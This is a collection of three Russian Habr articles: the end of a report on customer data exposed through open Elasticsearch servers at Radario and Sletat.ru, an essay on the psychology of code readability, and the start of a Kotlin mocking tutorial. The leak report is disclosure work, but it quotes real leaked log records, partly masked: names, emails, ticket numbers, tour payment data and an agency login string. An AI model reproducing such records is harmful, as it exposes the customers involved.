"Content": "{\"name\":\"***\",\"surname\":\"*** \",\"middleName\":\"Евгеньевна \",\"passportType\":1,\"passportNumber\":\"\",\"passportIssueDate\":\"11-11-2011 11:11:11\",\"passportIssuedBy\":\"\",\"email\":\"***@mail.ru\",\"phone\":\"+799*******\",\"ticketNumbers\":[\"****24848\",\"****948732\"],\"refundReason\":4,\"comment\":\"\"}"
```
За один, случайно выбранный день, было обнаружено более 500 таких записей.
Я получил ответ на оповещение от технического директора «Радарио»:
> Я технический директор Радарио, и хотел бы поблагодарить за обнаружение проблемы. Доступ к эластику, как вам известно, мы закрыли и решаем вопрос с перевыпуском билетов для клиентов.
А чуть позже компания сделала официальное заявление:
> В электронной системе продажи билетов Radario была обнаружена и своевременно устранена уязвимость, которая могла привести к утечке данных клиентов сервиса, сообщил Агентству городских новостей «Москва» директор по маркетингу компании Кирилл Малышев.
>
>
>
> «Нами действительно была обнаружена уязвимость в работе системы, связанная с регулярным обновлением, которая была устранена сразу же после обнаружения. В результате уязвимости при определенных условиях недружелюбные действия третьих лиц могли привести к утечке данных, однако каких-либо инцидентов зафиксировано не было. В данный момент все неисправности устранены», — сообщил К.Малышев.
>
>
>
> Представитель компании подчеркнул, что было принято решение перевыпустить все билеты, проданные за время решения проблемы, чтобы полностью исключить возможность любого мошенничества в отношении клиентов сервиса.
Спустя несколько дней я проверил доступность данных по утекшим ссылкам — доступ к «засвеченным» билетам действительно был прикрыт. На мой взгляд это грамотный, профессиональный подход к решению проблемы утечки данных.
### Случай второй. «Слетать.ру»
Рано утром 15.05.2019 *DeviceLock Data Breach Intelligence* выявил общедоступный сервер Elasticsearch с логами некой ИС.
Позже было установлено, что сервер принадлежит сервису по подбору туров «Слетать.ру».
Из индекса *cbto\_\_0* можно было получить тысячи (11,7 тыс. включая дубли) адресов электронной почты, а также некоторую платежную информацию (стоимость туров) и данные тур поездок (когда, куда, данные авиабилетов *всех* вписанных в тур путешественников и т.п.) в количестве около 1,8 тыс. записей:
```
"full_message": "Получен запрос за создание платежного средства: {\"SuccessReturnUrl\":\"https://sletat.ru/tour/7-1939548394-65996246/buy/?ClaimId=b5e3bf98-2855-400d-a93a-17c54a970155\",\"ErrorReturnUrl\":\"https://sletat.ru/\",\"PaymentAgentId\":15,\"DocumentNumber\":96629429,\"DocumentDisplayNumber\":\"4451-17993\",\"Amount\":36307.0,\"PaymentToolType\":3,\"ExpiryDateUtc\":\"2020-04-03T00:33:55.217358+03:00\",\"LifecycleType\":2,\"CustomerEmail\":\"XXX@mail.ru\",\"Description\":\"\",\"SettingsId\":\"8759d0dd-da54-45dd-9661-4e852b0a1d89\",\"AdditionalInfo\":\"{\\\"TourOfficeAdditionalInfo\\\":{\\\"IsAdditionalPayment\\\":false},\\\"BarrelAdditionalInfo\\\":{\\\"Tickets\\\":[{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX VIKTORIIA\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false},{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX ANDREI\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false},{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX Andrei\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false}],\\\"Segments\\\":[{\\\"Flight\\\":\\\"5659\\\",\\\"AviaCompany\\\":null,\\\"AviaCompanyIataCode\\\":null,\\\"DepartureCity\\\":\\\"LED\\\",\\\"DepartureAirport\\\":\\\"LED\\\",\\\"DepartureAirportIataCode\\\":\\\"LED\\\",\\\"DepartureDate\\\":\\\"2019-04-11T02:45:00\\\",\\\"DepartureTime\\\":null,\\\"ArrivalCity\\\":\\\"SHJ\\\",\\\"ArrivalAirport\\\":\\\"SHJ\\\",\\\"ArrivalAirportIataCode\\\":\\\"SHJ\\\",\\\"ArrivalDate\\\":\\\"2019-04-11T09:40:00\\\",\\\"ArrivalTime\\\":null,\\\"FareCode\\\":null},{\\\"Flight\\\":\\\"5660\\\",\\\"AviaCompany\\\":null,\\\"AviaCompanyIataCode\\\":null,\\\"DepartureCity\\\":\\\"SHJ\\\",\\\"DepartureAirport\\\":\\\"SHJ\\\",\\\"DepartureAirportIataCode\\\":\\\"SHJ\\\",\\\"DepartureDate\\\":\\\"2019-04-14T10:45:00\\\",\\\"DepartureTime\\\":null,\\\"ArrivalCity\\\":\\\"LED\\\",\\\"ArrivalAirport\\\":\\\"LED\\\",\\\"ArrivalAirportIataCode\\\":\\\"LED\\\",\\\"ArrivalDate\\\":\\\"2019-04-14T15:50:00\\\",\\\"ArrivalTime\\\":null,\\\"FareCode\\\":null}]},\\\"Tickets\\\":[{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX VIKTORIIA\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false},{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX ANDREI\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false},{\\\"Passenger\\\":{\\\"FIO\\\":\\\"XXX Andrei\\\"},\\\"ReservationSystem\\\":null,\\\"TicketNumber\\\":null,\\\"IsRefundPossible\\\":false}],\\\"Segments\\\":[{\\\"Flight\\\":\\\"5659\\\",\\\"AviaCompany\\\":null,\\\"AviaCompanyIataCode\\\":null,\\\"DepartureCity\\\":\\\"LED\\\",\\\"DepartureAirport\\\":\\\"LED\\\",\\\"DepartureAirportIataCode\\\":\\\"LED\\\",\\\"DepartureDate\\\":\\\"2019-04-11T02:45:00\\\",\\\"DepartureTime\\\":null,\\\"ArrivalCity\\\":\\\"SHJ\\\",\\\"ArrivalAirport\\\":\\\"SHJ\\\",\\\"ArrivalAirportIataCode\\\":\\\"SHJ\\\",\\\"ArrivalDate\\\":\\\"2019-04-11T09:40:00\\\",\\\"ArrivalTime\\\":null,\\\"FareCode\\\":null},{\\\"Flight\\\":\\\"5660\\\",\\\"AviaCompany\\\":null,\\\"AviaCompanyIataCode\\\":null,\\\"DepartureCity\\\":\\\"SHJ\\\",\\\"DepartureAirport\\\":\\\"SHJ\\\",\\\"DepartureAirportIataCode\\\":\\\"SHJ\\\",\\\"DepartureDate\\\":\\\"2019-04-14T10:45:00\\\",\\\"DepartureTime\\\":null,\\\"ArrivalCity\\\":\\\"LED\\\",\\\"ArrivalAirport\\\":\\\"LED\\\",\\\"ArrivalAirportIataCode\\\":\\\"LED\\\",\\\"ArrivalDate\\\":\\\"2019-04-14T15:50:00\\\",\\\"ArrivalTime\\\":null,\\\"FareCode\\\":null}]}\",\"FinancialSystemId\":9,\"Key\":\"18fe21d1-8c9c-43f3-b11d-6bf884ba6ee0\"}"
```
К слову сказать, линки на оплаченные туры вполне рабочие:
В индексах с именем *graylog\_* в открытом виде находились логины и пароли турагентств, подключенных к системе «Слетать.ру» и продающих туры своим клиентам:
```
"full_message": "Tours by request 155213901 added to local cache with key 'user_cache_155213901' at 5/6/2019 4:49:07 PM, rows found 0, sortedPriceLength 215. QueryString: countryId=90&cityFromId=1265&s_nightsMin=6&s_nightsMax=14&stars=403%2c404&minHotelRating=1¤cyAlias=RUB&pageSize=300&pageNumber=1&s_showcase=true&includeOilTaxesAndVisa=0&login=zakaz%40XXX.ru&password=XXX, Referer: , UserAgent: , IP: 94.154.XX.XX."
```
По моим прикидкам засветилось несколько сотен пар логин/пароль.
Из личного кабинета турагентства на портале *agent.sletat.ru* можно было получить данные клиентов, включая номера паспортов, загранпаспортов, даты рождения, ФИО, телефоны и адреса электронной почты.
Я оповестил сервис «Слетать.ру» 15.05.2019 в 10:46 (МСК) и через несколько часов (до 16:00) сервер Elasticsearch исчез из свободного доступа. Позднее в ответ на публикацию в Коммерсанте, руководство сервиса сделало весьма странное заявление через СМИ:
> Руководитель компании Андрей Вершинин пояснил, что «Слетать.ру» предоставляет ряду крупнейших туроператоров-партнеров доступ к истории запросов в поисковой системе. И предположил, что DeviceLock получила его: «Однако в указанной базе нет паспортных данных туристов, логинов и паролей турагентств, платежных данных и т. д.». Андрей Вершинин отметил, что никаких доказательств столь серьезных обвинений «Слетать.ру» до сих пор не получила. «Сейчас пытаемся связаться с компанией DeviceLock. Полагаем, что это заказуха. Кому-то не нравится наш стремительный рост», – добавил он. "
Как показано выше и логины, и пароли, и паспортные данные туристов находились в свободном доступе достаточно продолжительное время (как минимум с 29.03.2019, когда сервер компании впервые был зафиксирован в открытом доступе поисковиком Shodan). Разумеется, с нами никто не связывался. Надеюсь, что, хотя бы турагентства они оповестили об утечке и заставили их сменить пароли.
Новости про утечки информации и инсайдеров всегда можно найти на моем Telegram-канале «[Утечки информации](http://tele.click/dataleak)». | https://habr.com/ru/post/452698/ | null | ru | null |
# Психология читабельности кода
Всё, что написано ниже, ни разу не претендует на абсолютную истину, но всё же представляет собой некоторую модель, помогающую лично мне находить способы писать немного лучший код.
Каждый программист старается писать хороший код. Читабельность — один из главных признаков такого кода. О ней написано достаточно много книг, но всё же в теме есть пробелы. Например, те самые книги сфокусированы больше на советах КАК написать читабельный код, а не на причинах того, почему один код является хорошо читабельным, а другой — нет. Книга говорит нам «используйте подходящие названия переменных» — но что делает одно название более подходящим, чем другое? Работает ли это для всех примеров подобного кода? Работает ли это для всех программистов, которым попадётся на глаза этот код? Как раз о последнем я и хотел бы поговорить чуть детальнее. Давайте погрузимся немного в человеческую психику. Наш мозг — главный наш инструмент, хорошо бы изучить специфику его работы.
### Психологическое основание
Каждый программист знает, что возможности нашего мозга не безграничны. Есть ограничение на количество вещей, о которых мы можем думать. Это наш [рабочий лимит памяти](https://en.wikipedia.org/wiki/Working_memory#Capacity). Есть старый миф о том, что человек может держать в памяти одновременно 7±2 объектов. Это называется "[Магическое число семь](https://en.wikipedia.org/wiki/The_Magical_Number_Seven,_Plus_or_Minus_Two)" и оно на самом деле не очень точное. Последние исследования говорят о числе 4±1, а то и меньше. В любом случае — количество идей, которые мы можем держать одновременно в голове, весьма ограниченно.
Некоторые люди скажут, что способны легко оперировать одновременно более, чем четырьмя объектами в памяти. Это так: к счастью, есть ещё один процесс, который постоянно происходит в нашей голове — это группировка. Мы объединяем схожие мелкие сущности в чуть большие и оперируем уже ими. Вспомните, как вы называете даты или номера телефонов — не по одной цифре, а группами по две, три или четыре. При этом каждая группа цифр является самостоятельной сущностью. Более того, все цифры вместе формируют «дату» или «номер телефона» — тоже отдельные сущности.
Из этих групп мы строим нашу долговременную память. Я представляю её как большую паутину из таких вот группок и их последовательностей.
Исходя из данной картинки, вам может показаться, что перемещение из одной части памяти в другую происходит достаточно медленно. И это действительно так. В науке проектирования пользовательских интерфейсов есть концепция «единого фокуса внимания». Название говорит само за себя — мы можем фокусироваться в каждый момент времени только на чём-то одном. Более того, кроме фокуса, есть ещё и «локус» — ограниченность внимания в пространстве.
Вы можете подумать, что это то же самое, что и упомянутый выше рабочий лимит памяти, но есть важное отличие. Рабочий лимит памяти говорит о том, сколько всего сущностей мы можем держать в памяти. Фокус и локус внимания говорят о том, что для выполнение какой-то полезной мыслительной работы данные сущности ещё и должны «находиться рядом», быть чем-то связанными.
О фокусе и локусе внимания важно знать, поскольку переключение между идеями — [весьма затратный процесс](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3197943/). И ещё более затратным он становится, когда нам на ходу нужно осмысливать незнакомые сущности и группировать их. К счастью, это работает и в обратную сторону — чем что-то нам лучше знакомо, тем меньше времени требуется, чтобы переключить на него внимание и осмыслить. Это называется опытом.
Также мы по-разному запоминаем вещи в зависимости от контекста. Однажды проводился следующий [эксперимент](https://onlinelibrary.wiley.com/doi/abs/10.1111/j.2044-8295.1975.tb01468.x): группе дайверов читали набор слов, а затем, через некоторое время, просили их воспроизвести. И первоначальное чтение, и воспроизведение проводилось как на суше, так и в воде. Лучше всего обстояло дело со случаем, когда слова и читались и воспроизводились на суше. Но на втором месте неожиданно оказалась комбинация с чтением и воспроизведением в воде. Люди запоминали слова в контексте окружающей обстановки и аналогичная окружающая обстановка помогала лучше вспоминать.
Из контекстов и сгруппированных по ячейкам памяти сущностей мы и строим [ментальные представления](https://en.wikipedia.org/wiki/Mental_representation) и [ментальные модели](https://en.wikipedia.org/wiki/Mental_model). Ментальные модели играют ключевую роль для нашей способности находить решения проблем. Для одной и той же проблемы можно построить разные ментальные модели, и каждая будет иметь свои плюсы и минусы. Есть и главная проблема в их построении и применении: наш мозг. О, у нашего мозга есть целая куча разных недостатков.
Во-первых, ему сложновато работать с абстракциями. Когда некоторые сущности кажутся схожыми, они располагаются в мозгу «рядом», являются связанными. Это приводит к тому, что мозг иногда ошибается какую из них следует извлечь и использовать в каждом конкретном случае. Пример: путаница между l и 1, 0 и О. Ещё один пример — двусмысленность. «Ключ» — это мы сейчас о предмете для открывания замков, построении стаи птиц или инструменте для работы с гайками?
Неуверенность в правильности найденной абстракции замедляет процесс мышления. На какую-то долю секунды — но и этого может хватить для потери фокуса внимания. Нас вообще много чего может сбить, но, если крупные отвлекающие факторы мы способны понять, локализовать и отфильтровать, то «всякую мелочь» можем и не осознавать. Если кто-то будет называть случайные числа, пока вы что-то считаете — считать станет существенно сложнее. Это может происходить и с визуальными факторами: если на экране есть несколько важных в текущей ситуации объектов и пару десятков не важных — вам будет сложнее выделить и осознать лишь важное.
Всё вышеуказанное создаёт когнитивную нагрузку. Это количество ментальных усилий, которые необходимы для решения некоторой задачи. Наша «операционная мощность» падает по ходу работы и возрастает после отдыха. Если вы не даёте своей голове осознанного отдыха — природу вы всё-равно не обманете и через какое-то время ваш мозг начнёт «витать в облаках».
Давайте теперь перейдём ближе к делу и подумаем, как всё это касается написание хорошего кода. Дальше будет несколько рекомендаций, эмпирических правил и парадигм, которые могут так или иначе вам помочь с точки зрения психологии. Это, конечно, не фундаментальное руководство, но, я надеюсь, вы уловите основные идеи и дальше сможете их применять для оценки других известных вам правил, советов и парадигм.
### Именование сущностей
Давайте взглянем на простенький цикл for:
* **A**. for(i=0 to N)
* **B**. for(theElementIndex=0 to theNumberOfElementsInTheList)
Какой вариант нравится вам больше? Большинство программистов порекомендуют вариант **А**. Почему? А потому, что вариант **B** использует слишком длинные имена переменных, что мешает нам с одного взгляда увидеть единый (и хорошо знакомый) паттерн. Кроме того, в данном случае столь длинные имена и не помогают создать более качественный контекст, они просто добавляют шум.
Теперь давайте посмотрим на различные способы формирования пространств имён (это могут быть пакеты, модули или что-то ещё в вашем языке программирования):
* **A**. strings.IndexOf(x, y)
* **B**. s.IndexOf(x, y)
* **C**. std.utils.strings.IndexOf(x, y)
* **D**. IndexOf(x, y)
Вариант **В** плох, поскольку «s» — слишком короткое название и не помогает нам понять, что «это, наверное, строка».
Вариант **С** плох, поскольку std.utils.strings — слишком длинное название, мы и так поняли, что это строка, не нужно каждый раз напоминать о том, где она находится.
Вариант **D** плох, поскольку без пространств имён мы вообще не очень хорошо понимаем, что за функцию вызываем, откуда она и над какими объектами будет работать.
Важно заметить, что если уж речь в коде зашла о строках, то логичным будет предположить, что вызов IndexOf для строки выполняет какую-то работу именно на строке. В таком случае, даже упоминание пространства имён «strings» будет излишним, как, например, операция сложения на целых числах более понятна в виде a + b, а не в виде int16.Add(a, b).
### Состояние переменной
Некоторые парадигмы программирования говорят, что любая модификация переменной является плохой вещью, ведь «становится трудно понять, что и когда изменилось». Но давайте посмотрим вот на эти примеры:
```
// A.
func foo() (int, int) {
sum, sumOfSquares := 0, 0
for _, v := range values {
sum += v
sumOfSquares += v * v
}
return sum, sumOfSquares
}
```
```
// B.
func GCD(a, b int) int {
for b != 0 {
a, b = b, a % b
}
return a
}
```
```
// C.
func GCD(a, b int) int {
if b == 0 {
return a
}
return GCD(b, a % b)
}
```
Здесь первую функцию (foo), наверное, легче всего понять. Почему? Потому, что проблема не в модификации переменных, а в том, как именно они модифицируются. Пример **А** не содержит никаких сложных вычислений, в отличии от **B** и **С**.
```
// D.
sum = sum + v.x
sum = sum + v.y
sum = sum + v.z
sum = sum + v.w
```
```
// E.
sum1 = v.x
sum2 := sum1 + v.y
sum3 := sum2 + v.z
sum4 := sum3 + v.w
```
Вот ещё один пример кода, где версия с модификацией значения переменной (**D**) читается проще. Вариант **Е** не модифицирует существующие переменные, но добавляет 3 новых сущности для описания той же идеи. Больше шума — сложнее понимание.
### Идиомы
Давайте посмотрим ещё на несколько циклов:
* **A**. for(i = 0; i < N; i++)
* **B**. for(i = 0; N > i; i++)
* **D**. for(i = 0; i <= N-1; i += 1)
* **C**. for(i = 0; N-1 >= i; i += 1)
Насколько долго у вас заняло понять, что делает каждый из них? Бьюсь об заклад, вариант **А** вы восприняли на лету. Остальные три варианта пришлось читать и понимать. Главная причина — опыт. Вариант **А** у многих программистов лежит в отдельной, быстро-доступной ячейке памяти. Остальные три — нет. Для них нужно строить в голове новые временные модели.
Но для новичка все четыре варианта будут выглядеть одинаково — их сложность действительно примерно равна и ни один из них не покажется человеку «со стороны» лучше другого. Опытный программист с первого взгляда скажет «а, ну это проход по массиву». Новичок же расскажет о том, что «здесь мы обнуляем переменную i, потом сравниваем её с N, выполняем код внутри тела цикла, увеличиваем i и снова сравниваем и т.д.».
Вариант **А** — это «идиоматический способ» написания цикла. Он не лучше остальных с точки зрения вычислительной сложности, но значительно лучше с точки зрения читабельности кода, ведь он входит в «базовый словарь профессии».
Большинство языков программирования имеют идиоматический способ написания тех или иных вещей. Есть классические документы и книги, типа [APL idioms](http://www.softwarepreservation.org/projects/apl/Papers/MYFAVORITEIDIOM), [C++ idioms](http://www.dre.vanderbilt.edu/~sutambe/documents/More%20C++%20Idioms.pdf) а также более высокоуровневые вещи вроде [паттернов Банды Четырёх](https://en.wikipedia.org/wiki/Design_Patterns). Используя идиомы из подобных классических книг, мы можем строить более сложные программы, отдельные куски которых будут понятны остальным программистам (ведь они, наверное, читали те же книги).
У всего этого есть и негативный аспект. Чем больше идиом мы используем, тем больший вокабуляр требуется запоминать для их понимания. Динамические языки подвержены данной проблеме больше остальных — программисты чувствуют возможность изобрести новые гибкие идиомы для хитрого решения своей текущей проблемы (и это даже работает), но каждый следующий читатель данного кода будет вынужден замедляться, пытаясь понять неожиданные подходы автора.
### Консистентность
Хорошим примером консистентности могут быть названия сущностей типа «модель» и «контроллер». Выучив однажды что это и как они связаны друг с другом, вы навсегда приобретаете в своей голове ценную пару идиом. Теперь в любом коде, увидев класс со словом Model или Controller в названии, вы будете понимать, для чего он создан и с чем связан.
Такие вещи как фреймворки или игровые движки всегда пытаются действовать подобным образом: дать нам понимание базовых сущностей, связей между ними и способов манипуляции ими. Выучив структуру одного проекта на каком-то фреймворке или движке, программист может очень быстро вникнуть в суть другого проекта на нём же.
Важным фактором здесь является и консистентность оформления кода. Чем более в коде консистентны имена переменных, классов, методов, форматирование кода, подходы к решению одинаковых проблем в разных местах кодовой базы — тем легче читатель понимает проект, тем быстрее начинает «доверять» ему.
### Неопределённость
Неопределённость может замедлить как написание, так и понимание кода. В качестве примера можно рассмотреть двусмысленность. Например, вот такой код:
```
[1,2,3].filter(v => v >= 2)
```
при всей своей простоте всё-же оставляет открытым вопрос, что же будет получено в итоге «2 и 3» или «1»? То есть мы здесь «фильтруем» или «отфильтровываем»? Скорее всего вы быстро найдёте ответ в документации вашей платформы или используемой библиотеки — но вам придётся отвлечься, а потом ещё и запомнить найденную информацию. Правда, было бы лучше, если бы название и синтаксис говорили сами за себя? Значительно лучше подошли бы названия функций типа **select**, **discard** или **keep**.
Мы также можем по-разному понимать значение той или иной сущности. Например, функция **GetUser(string)** одними людьми может быть воспринята как поиск пользователя по имени, а другие посчитают, что это поиск по уникальному ключу пользователя. Из этой ситуации можно легко выйти, создав специальный тип **CustomerID** (пусть даже он будет алиасом на ту же строку) и использовав его в прототипе функции **GetUser(CustomerID)**, а вот поиск пользователя по имени можно назвать **GetUserByName(string)**. Здесь уже нет никакой неопределённости.
Подобие — ещё одна распространённая причина ошибок. Если у вас есть переменные типа **total1**, **total2**, **total3** — очень легко скопировать-вставить кусок кода и забыть исправить индекс. Код скомпилируется, а ошибка будет найдена (если будет) намного позже. Назвать эти переменные именами вроде **sum**, **sum\_of\_squares**, **total\_error** — намного безопаснее.
Ещё одна беда — именование одной и той же сущности разными именами в разных модулях вашего кода. Это кажется не такой большой проблемой: «я назвал это так, в базу его другой программист положил под вот таким именем, а в UI его назвали вот так». Всё хорошо, пока всё хорошо. А потом что-то ломается и какой-то другой программист, чертыхаясь, пытается понять как связаны эти, совершенно не совпадающие по именам, вещи.
Проблемы двусмысленности и подобия присущи не только написанию исходного кода. В разных контекстах одни и те же слова могут означать разные вещи. Например, слово «заказчик» означает совершенно разные вещи в отделах закупок и продаж одной и той же компании. Таким образом, никогда не стоит бояться показаться смешным или неуместным, лишний раз переспросив всех вокруг, одинаково ли вы понимаете какие-то термины вашей предметной области.
### Комментарии
Все мы видели примеры глупых комментариев новичков, типа:
```
// увеличиваем в цикле переменную i от 0 до 99
for(var i = 0; i < 100; i++) {
// присваиваем переменной а значение 4
var a = 4;
```
Да, выглядит немного туповато. Но даже у таких комментариев может быть смысл. Подумайте об изучении второго (или третьего) языка программирования. У вас уже есть знание синтаксиса одного языка, понимание всех этих условных переходов, циклов, функций — и вот вы изучаете то же самое в другом языке. Вам не нужно заново изучать данные понятия в новом языке, а лишь привязать у себя в голове вот такой формат цикла или присвоения к абстрактной идиоме «цикла» или «присвоения» — вот здесь могут и подобные комментарии пригодиться.
Как только эта привязка произошла — эти комментарии станут ненужным мусором, поскольку объяснение происходящего будет возникать у вас в голове уже при взгляде на сам код. По ходу того, как программист набирается опыта, его комментарии несут всё меньше информации о том, ЧТО делает код и всё больше о том ПОЧЕМУ и В КАКОМ КОНТЕКСТЕ он это делает. «Подход Х был выбран потому, что альтернативные подходы Y и Z не подошли по таким-то причинам», «при модификации данного кода следует помнить о том, что ...».
Хорошие комментарии дополяют ментальную модель понимания кода.
### Контексты
Ограниченность рабочего лимита памяти приводит нас к необходимости декомозиции кода. Мы разбиваем сложный (или длинный) код на части, оперирующие ограниченным числом объектов. Но разбивать и декомпозировать тоже можно по-разному. Представьте себе, например, класс, лежащий очень глубоко в дереве наследования. И вот вы пишете в нём какой-то метод, который вызывает несколько других методов — один из того же класса, другой из «родителя», третий из «дедушки». Вроде бы ваш класс совсем прост — пара методов, строк по 5 в каждом. Но читать его код трудно, ведь даже чтение этих 10 строк требует создать в голове (и держать всё время чтения!) всё дерево наследования. Это трудно. Каждый новый слой наследования — это ещё одна идиома, занимающая и истощающая наш рабочий лимит памяти.
То же самое и с отслеживаем вызовов функций. Каждый шаг вглубь стека вызовов — шаг к лимиту наших ментальных возможностей.
Один из способов уменьшить глубину нашей ментальной модели контекстов — чётко разделить их. Одним из примеров может служать концепция раннего возврата («early return»):
```
public void SomeFunction(int age)
{
if (age >= 0) {
// сделать что-то
} else {
System.out.println("Не верный возраст");
}
}
public void SomeFunction(int age)
{
if (age < 0){
System.out.println("Не верный возраст");
return;
}
// сделать что-то
}
```
В первой версии при чтении кода мы доходим до части «сделать что-то» и ещё помним, что эта часть выполняется только при условии, указанном выше. Однако, когда мы доходим до части «else» мы уже достаточно далеко мысленно удалились от изначального условия и для понимания к чему-же относится это «else» нам нужно, во-первых, выбросить из головы только что прочитанную часть «сделать что-то», во-вторых вернуться назад к условию и осознать его и, в третьих, снова перейти к блоку «else» уже будучи в контексте условий, при которых мы в него попадём. Достаточно длинный путь.
Вторая версия кода применяет концепцию раннего возврата и поэтому является лучшей альтернативой. Мы сначала проверяем граничные условия и адекватно на них реагируем. Затем мы переходим к основному блоку кода и выполняем его. Никаких мысленных прыжков туда-обратно, никакой лишней смены контекстов.
### Эмпирические правила
Одно из фундаментальных правил программирования гласит «Избегайте использования глобальных переменных». Но как на счёт случая, когда значение такой переменной присваивается лишь раз при инициализации и никогда не меняется в дальнейшем — это тоже проблема? Да, проблема. Дело здесь даже не в «переменности» или «глобальности». Мы вводим сущность, которая доступна отовсюду, а значит она явно или неявно будет присутствовать в любой ментальной модели кода, которую вы будете строить у себя в голове. Даже если это константа, даже если в данной функции она не используется — само по себе знание того, что есть нечто, что по своей воле (а не по воле данной функции) является видимым и доступным — уже даёт ему право претендовать на место в голове читателя данного кода. Конечно, мы не пишем «программы в вакууме», все они работают в каком-то окружении, и даже некоторые «допустимые» идиомы вроде Singleton обладают теми же свойствами. Так почему же они считаются лучшим вариантом, чем глобальные переменные?
Всё дело здесь в принципе единственной ответственности. Его предназначение — гарантировать, что каждая сущность в вашем коде служит одной цели. Не нулю, не двум — ровно одной. Это ограничение часто приводит к разбиению на более мелкие части. Это не всегда хорошо — подобным дроблением можно дойти до столь мелких частей, что собрать из них что-то реально полезное будет требовать серьёзных усилий. Кроме того, эти мелкие части могут быть настолько завязаны друг на друга, что от этого потеряется весь смысл принципа единственной ответственности.
Хорошим примером на эту тему может быть комментарий Кармака. Он показал вот эти три куска кода:
```
// A
void MinorFunction1( void ) {
}
void MinorFunction2( void ) {
}
void MinorFunction3( void ) {
}
void MajorFunction( void ) {
MinorFunction1();
MinorFunction2();
MinorFunction3();
}
// B
void MajorFunction( void ) {
MinorFunction1();
MinorFunction2();
MinorFunction3();
}
void MinorFunction1( void ) {
}
void MinorFunction2( void ) {
}
void MinorFunction3( void ) {
}
// C.
void MajorFunction( void ) {
{ // MinorFunction1
}
{ // MinorFunction2
}
{ // MinorFunction3
}
}
```
Делая части кода меньшего размера, мы можем лучше добиться соответствия их содержимого их идее и названию. Однако, понимание кода от этого не становится лучше. Мы не можем читать код в линейном порядке (сверху вниз) и понимать его — вместо этого нам приходится перескакивать к коду вызываемых функций и обратно. Вериант **С** предлагает решение данной проблемы — выделение частей кода в логические области видимости, что, с одной стороны, сохраняет их целостность и разделение, а с другой — позволяет читать код последовательно и не терять контекст его выполнения.
На практике не существует идеального способа организации кода, поскольку кроме читабельности, о которой мы говорили выше, есть не менее важные вещи, такие как надёжность, поддерживаемость, производительность, скорость создания минимально рабочего прототипа и т.д. Некоторые из этих ценностей дополняют друг друга, но некоторые — прямо противоречат друг другу. В каждом отдельном случае важно понимать, что является ценностью данного конкретного проекта и на чём стоит сфокусировать усилия здесь и сейчас. | https://habr.com/ru/post/399293/ | null | ru | null |
# Нужен ли Mockito, если у вас Kotlin?
Салют, коллеги.
В рамках пятничной статьи предлагаю посмотреть на интересный способ создания моков в [Kotlin](https://kotlinlang.org/), без использования сторонних библиотек.
Я занимаюсь [разработкой аддонов для Atlassian-стека](https://developer.atlassian.com/server/framework/atlassian-sdk/) в компании Stiltsoft и, из-за технических ограничений, до сих пор (да в 2021 году и, скорее всего, в ближайшие пару лет) вынужден использовать Java 8. Но, чтоб не отставать от прогрессивного человечества, внутри компании мы пробуем Kotlin, пишем на нем тесты и разные экспериментальные продукты.
Однако, вернемся к тестам. Часто у нас есть интерфейс из предметной области, нам не принадлежащий, но который активно используется нашим кодом. Причем у самого интерфейса много разных методов, но в каждом сценарии используем их буквально по паре штук. Например, интерфейс ***ApplicationUser***.
```
public interface ApplicationUser {
String getKey();
String getUsername();
String getEmailAddress();
String getDisplayName();
long getDirectoryId();
boolean isActive();
}
```
В разных тестах нам нужен объект типа ***ApplicationUser***с разным набором предустановленных полей, где-то надо *displayName* и*emailAddress*, где-то только *username* и так далее.
В общем случае, нам нужен способ "на лету" создавать объекты, реализующие определенный интерфейс, с возможностью произвольного переопределения методов этого объекта.
Самое простое решение - [анонимные классы](https://docs.oracle.com/javase/tutorial/java/javaOO/anonymousclasses.html).
```
ApplicationUser user = new ApplicationUser() {
@Override
public String getDisplayName() {
return "John Doe";
}
@Override
public String getEmailAddress() {
return "jdoe@example.com";
}
@Override
public String toString() {
return getDisplayName() + " <" + getEmailAddress() + ">";
}
@Override
public String getKey() {
return null;
}
@Override
public String getUsername() {
return null;
}
@Override
public long getDirectoryId() {
return 0;
}
@Override
public boolean isActive() {
return false;
}
};
```
Очевидный недостаток простого решения, совершенно безумное количество строк. Можно немного схитрить и написать абстрактный класс дефолтно реализующий все методы
```
public abstract class AbstractApplicationUser implements ApplicationUser {
@Override
public String getKey() {
return null;
}
@Override
public String getUsername() {
return null;
}
@Override
public long getDirectoryId() {
return 0;
}
@Override
public boolean isActive() {
return false;
}
@Override
public String getEmailAddress() {
return null;
}
@Override
public String getDisplayName() {
return null;
}
}
```
и потом использовать его.
```
ApplicationUser user = new AbstractApplicationUser() {
@Override
public String getDisplayName() {
return "John Doe";
}
@Override
public String getEmailAddress() {
return "jdoe@example.com";
}
@Override
public String toString() {
return getDisplayName() + " <" + getEmailAddress() + ">";
}
};
```
Это улучшит ситуацию со строками, но класс-обертку придется написать на каждую сущность такого плана.
Более продвинутый вариант - [использовать специализированную библиотеку](https://github.com/mockito/mockito).
```
ApplicationUser user = mock(ApplicationUser.class);
when(user.getDisplayName()).thenReturn("John Doe");
when(user.getEmailAddress()).thenReturn("jdoe@example.com");
String toString = user.getDisplayName() + " <" + user.getEmailAddress() + ">";
when(user.toString()).thenReturn(toString);
```
C количеством строк тут уже порядок, но код стал более "тяжелым" для восприятия и, на мой вкус, не очень красивым.
Я предлагаю альтернативный план: собрать решение из существующих фич Kotlin. Но сначала, небольшое теоретическое отступление про [делегаты](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%B4%D0%B5%D0%BB%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F).
Один из юзкейсов делегирования, навесить какой-то дополнительный функционал на "чужой" объект, причем незаметным для конечного пользователя способом.
